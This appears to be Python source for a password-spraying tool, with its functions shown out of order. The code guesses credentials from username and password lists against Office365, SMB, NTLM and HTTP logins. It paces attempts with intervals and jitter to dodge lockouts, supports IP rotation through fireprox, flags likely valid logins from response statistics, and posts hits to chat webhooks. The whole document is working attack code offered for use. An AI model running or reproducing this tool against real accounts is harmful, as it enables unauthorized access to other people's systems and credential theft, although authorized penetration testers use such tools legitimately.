def modules(): """ List all the available spraying modules """ module_table = Table( show_header=True, show_footer=False, min_width=61, title="Spraying Modules", title_justify="left", title_style="bold reverse", ) module_table.add_column("Module", style="bold") module_table.add_column("Description") dir_path = os.path.dirname(os.path.realpath(__file__)) mod_list = os.listdir(dir_path + "/targets/") for module in mod_list: if module.endswith(".py") and module != "__init__.py": module = module.replace(".py", "") mod_name = getattr(sys.modules[__name__], module) class_name = getattr(mod_name, module) doc = class_name.__doc__ module_table.add_row(f"[blue]{module}[/blue]", f"[yellow]{doc}[/yellow]") console.print(Padding(module_table, (1, 1)))
def _login(self, username, password): """ Perform login attempt """ try: response = self.target.login(username, password) self.target.print_response(response, self.output) except requests.ConnectTimeout as e: self.target.print_response(response, self.output, timeout=True) except (requests.ConnectionError, requests.ReadTimeout) as e: console.print("\n[!] Connection error - sleeping for 5 seconds", style="danger") sleep(5) self._login(username, password)
def send_notification(self, hit_total): # we'll only send notifications if NEW successes are found if hit_total > self.hit_count: # Calling notifications if specified if self.notify: print() console.print( f"[*] Sending notification to {self.notify} webhook", style="info") if self.notify == "slack": slack(self.webhook, self.host) elif self.notify == "teams": teams(self.webhook, self.host) elif self.notify == "discord": discord(self.webhook, self.host)
def O365_analyze(self, responses): results = [] for line in responses: results.append(line[0]) success_indicies = list( filter(lambda x: results[x] == "Success", range(len(results)))) if len(success_indicies) > 0: console.print( "[+] Identified potentially sussessful logins!", style="good", ) success_table = Table(show_footer=False, highlight=True) success_table.add_column("Username") success_table.add_column("Password") success_table.add_column("Message", justify="right") for x in success_indicies: success_table.add_row(f"{responses[x][2]}", f"{responses[x][3]}", f"{responses[x][1]}") console.print(success_table) self.send_notification(len(success_indicies)) # Returning true to indicate a successfully guessed credential return len(success_indicies) else: console.print("[!] No successful logins", style="danger") return 0
def _check_sleep(self): """ If running on interval, handle analyzing and sleep interval """ if self.login_attempts == self.attempts: if self.analyze: analyzer = Analyzer(self.output, self.notify, self.webhook, self.host, self.total_hits) new_hit_total = analyzer.analyze() # Pausing if specified by user before continuing with spray if new_hit_total > self.total_hits and self.pause: print() console.print( f"[+] Successful login potentially identified. Pausing...", style="good", ) print() Confirm.ask( "[blue]Press enter to continue", default=True, show_choices=False, show_default=False, ) print() else: new_hit_total = ( 0 # just set to zero since results aren't being analyzed mid-spray ) print() console.print( f'[yellow][*] Sleeping until {(datetime.datetime.now() + datetime.timedelta(minutes=self.interval)).strftime("%m-%d %H:%M:%S")}[/yellow]' ) time.sleep(self.interval * 60) print() # reset counter and set hit total self.login_attempts = 0 self.total_hits = new_hit_total
def analyze(self): try: with open(self.resultsfile, newline="") as resultsfile: print() console.print("[*] Reading spray data from CSV", style="info") reader = csv.reader( resultsfile, delimiter=",", ) responses = list(reader) except Exception as e: console.print(f"[!] Error reading from file: {self.resultsfile}", style="danger") print(e) exit() if responses[0][1] == "Message": return self.O365_analyze(responses) elif responses[0][2] == "SMB Login": return self.smb_analyze(responses) else: return self.http_analyze(responses)
def initialize_module(self): """ Instantiate the specified spray module """ try: # Passing in path for NTLM over HTTP module if self.module.title().lower() == "ntlm": self.module = self.module.title() mod_name = getattr(sys.modules[__name__], self.module) class_name = getattr(mod_name, self.module) self.target = class_name(self.host, self.port, self.timeout, self.path, self.fireprox) else: # Else, we just pass the default arguments self.module = self.module.title() mod_name = getattr(sys.modules[__name__], self.module) class_name = getattr(mod_name, self.module) self.target = class_name(self.host, self.port, self.timeout, self.fireprox) except AttributeError: console.print( f"[!] Error loading {self.module} module. {self.module} is spelled incorrectly or does not exist", style="danger", ) exit() # Create the logfile user_home = str(Path.home()) current = datetime.datetime.now() timestamp = int(round(current.timestamp())) self.log_name = f"{user_home}/.spraycharles/logs/{self.host}.{timestamp}.log" logging.basicConfig( filename=self.log_name, level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s", )
def smb_analyze(self, responses): successes = [] positive_statuses = [ "STATUS_SUCCESS", "STATUS_ACCOUNT_DISABLED", "STATUS_PASSWORD_EXPIRED", "STATUS_PASSWORD_MUST_CHANGE", ] for line in responses[1:]: if line[2] in positive_statuses: successes.append(line) if len(successes) > 0: console.print("[+] Identified potentially sussessful logins!\n", style="good") success_table = Table(show_footer=False, highlight=True) success_table.add_column("Username") success_table.add_column("Password") success_table.add_column("Status") for x in successes: success_table.add_row(f"{x[0]}", f"{x[1]}", f"{x[2]}") console.print(success_table) self.send_notification(len(successes)) print() # Returning true to indicate a successfully guessed credential return len(successes) else: console.print("[!] No successful SMB logins", style="danger") print() return 0
def http_analyze(self, responses): # remove header row from list del responses[0] len_with_timeouts = len(responses) # remove lines with timeouts responses = [line for line in responses if line[2] != "TIMEOUT"] timeouts = len_with_timeouts - len(responses) response_lengths = [] # Get the response length column for analysis for indx, line in enumerate(responses): response_lengths.append(int(line[3])) console.print( "[*] Calculating mean and standard deviation of response lengths.", style="info", ) # find outlying response lengths length_elements = numpy.array(response_lengths) length_mean = numpy.mean(length_elements, axis=0) length_sd = numpy.std(length_elements, axis=0) console.print("[*] Checking for outliers.", style="info") length_outliers = [ x for x in length_elements if (x > length_mean + 2 * length_sd or x < length_mean - 2 * length_sd) ] length_outliers = list(set(length_outliers)) len_indicies = [] # find username / password combos with matching response lengths for hit in length_outliers: len_indicies += [ i for i, x in enumerate(responses) if x[3] == str(hit) ] # print out logins with outlying response lengths if len(len_indicies) > 0: console.print("[+] Identified potentially sussessful logins!\n", style="good") success_table = Table(show_footer=False, highlight=True) success_table.add_column("Username") success_table.add_column("Password") success_table.add_column("Response Code", justify="right") success_table.add_column("Response Length", justify="right") for x in len_indicies: success_table.add_row( f"{responses[x][0]}", f"{responses[x][1]}", f"{responses[x][2]}", f"{responses[x][3]}", ) console.print(success_table) self.send_notification(len(len_indicies)) print() # Returning true to indicate a successfully guessed credential return len(len_indicies) else: console.print( "[!] No outliers found or not enough data to find statistical significance.", style="danger", ) print() return 0
def spray(self): """ Begin the password spray """ # spray once with password = username if flag present if self.equal: with Progress(transient=True) as progress: task = progress.add_task(f"[yellow]Equal Set", total=len(self.usernames)) for username in self.usernames: password = username.split("@")[0] if self.jitter is not None: if self.jitter_min is None: self.jitter_min = 0 time.sleep(random.randint(self.jitter_min, self.jitter)) self._login(username, password) progress.update(task, advance=1) # log the login attempt logging.info(f"Login attempted as {username}") self.login_attempts += 1 # spray using password file for password in self.passwords: # trigger sleep if attempts limit hit self._check_sleep() # check if user/pass files have been updated and add new entries to current lists # this will let users add (but not remove) users/passwords into the spray as it runs new_users = self._check_file_contents(self.user_file, self.usernames) new_passwords = self._check_file_contents(self.password_file, self.passwords) if len(new_users) > 0: console.print( f"[>] Adding {len(new_users)} new users into the spray!", style="info", ) self.usernames.extend(new_users) if len(new_passwords) > 0: console.print( f"[>] Adding {len(new_passwords)} new passwords to the end of the spray!", style="info", ) self.passwords.extend(new_passwords) # print line separator if len(new_passwords) > 0 or len(new_users) > 0: print() with Progress(transient=True) as progress: task = progress.add_task(f"[green]Spraying: {password}", total=len(self.usernames)) while not progress.finished: for username in self.usernames: if self.domain: username = f"{self.domain}\\{username}" if self.jitter is not None: if self.jitter_min is None: self.jitter_min = 0 time.sleep( random.randint(self.jitter_min, self.jitter)) self._login(username, password) progress.update(task, advance=1) # log the login attempt logging.info(f"Login attempted as {username}") self.login_attempts += 1 # analyze the results to point out possible hits analyzer = Analyzer(self.output, self.notify, self.webhook, self.host, self.total_hits) analyzer.analyze()
def __init__( self, passwords, users, host, module, path, output, attempts, interval, equal, timeout, port, fireprox, domain, analyze, jitter, jitter_min, notify, webhook, pause, ): """ Validate args and initalize class attributes """ # if any other module than Office365 is specified, make sure hostname was provided if module.lower() != "office365" and not host: console.print( "[!] Hostname (-H) of target (mail.targetdomain.com) is required for all modules execept Office365", style="danger", ) exit() elif module.lower() == "office365" and not host: host = "Office365" # set host to Office365 for the logfile name elif module.lower() == "smb" and (timeout != 5 or fireprox or port != 443): console.print( "[!] Fireprox (-f), port (-P) and timeout (-t) are incompatible when spraying over SMB", style="warning", ) # get usernames from file try: with open(users, "r") as f: user_list = f.read().splitlines() except Exception: console.print(f"[!] Error reading usernames from file: {users}", style="danger") exit() # get passwords from file, otherwise treat arg as a single password to spray try: with open(passwords, "r") as f: password_list = f.read().splitlines() except Exception: password_list = [passwords] # check that interval and attempt args are supplied together if interval and not attempts: console.print( "[!] Number of login attempts per interval (-a) required with -i", style="danger", ) exit() elif not interval and attempts: console.print("[!] Minutes per interval (-i) required with -a", style="danger") exit() elif not interval and not attempts and len(password_list) > 1: console.print( "[*] You have not provided spray attempts/interval. This may lead to account lockouts!", style="warning", ) print() Confirm.ask( "[yellow]Press enter to continue anyways", default=True, show_choices=False, show_default=False, ) # Check that jitter flags aren't supplied independently if jitter_min and not jitter: console.print("--jitter-min flag must be set with --jitter flag", style="danger") exit() elif jitter and not jitter_min: console.print( "[!] --jitter flag must be set with --jitter-min flag", style="danger") exit() if jitter and jitter_min and jitter_min >= jitter: console.print( "[!] --jitter flag must be greater than --jitter-min flag", style="danger", ) exit() # Making sure user set path variable for NTLM authentication module if module.lower() == "ntlm" and path is None: console.print( "[!] Must set --path to use the NTLM authentication module", style="danger", ) exit() if notify and webhook is None: console.print( "[!] Must specify a Webhook URL when the notify flag is used.", style="danger", ) exit() # Create spraycharles directories if they don't exist user_home = str(Path.home()) if not os.path.exists(f"{user_home}/.spraycharles"): os.mkdir(f"{user_home}/.spraycharles") os.mkdir(f"{user_home}/.spraycharles/logs") os.mkdir(f"{user_home}/.spraycharles/out") # Building output files current = datetime.datetime.now() timestamp = current.strftime("%Y%m%d-%H%M%S") if output == "output.csv": output = f"{user_home}/.spraycharles/out/{host}.{timestamp}.csv" self.passwords = password_list self.password_file = passwords self.usernames = user_list self.user_file = users self.host = host self.module = module self.path = path self.output = output self.attempts = attempts self.interval = interval self.equal = equal self.timeout = timeout self.port = port self.fireprox = fireprox self.domain = domain self.analyze = analyze self.jitter = jitter self.jitter_min = jitter_min self.notify = notify self.webhook = webhook self.pause = pause self.total_hits = 0 self.login_attempts = 0 self.target = None self.log_name = None
def pre_spray_info(self): """ Display spray config table """ spray_info = Table( show_header=False, show_footer=False, min_width=61, title=f"Module: {self.module.upper()}", title_justify="left", title_style="bold reverse", ) spray_info.add_row("Target", f"{self.target.url}") if self.domain: spray_info.add_row("Domain", f"{self.domain}") if self.attempts: spray_info.add_row("Interval", f"{self.interval} minutes") spray_info.add_row("Attempts", f"{self.attempts} per interval") if self.jitter: spray_info.add_row("Jitter", f"{self.jitter_min}-{self.jitter} seconds") if self.notify: spray_info.add_row("Notify", f"True ({self.notify})") log_name = pathlib.PurePath(self.log_name) out_name = pathlib.PurePath(self.output) spray_info.add_row("Logfile", f"{log_name.name}") spray_info.add_row("Results", f"{out_name.name}") console.print(spray_info) print() Confirm.ask( "[blue]Press enter to begin", default=True, show_choices=False, show_default=False, ) print() if self.module == "Smb": console.print(f"[*] Initiaing SMB connection to {self.host} ...", style="warning") if self.target.get_conn(): console.print( f'[+] Connected to {self.host} over {"SMBv1" if self.target.smbv1 else "SMBv3"}', style="good", ) console.print(f"\t[>] Hostname: {self.target.hostname} ", style="info") console.print(f"\t[>] Domain: {self.target.domain} ", style="info") console.print(f"\t[>] OS: {self.target.os} ", style="info") print() else: console.print(f"[!] Failed to connect to {self.host} over SMB", style="danger") exit() self.target.print_headers(self.output)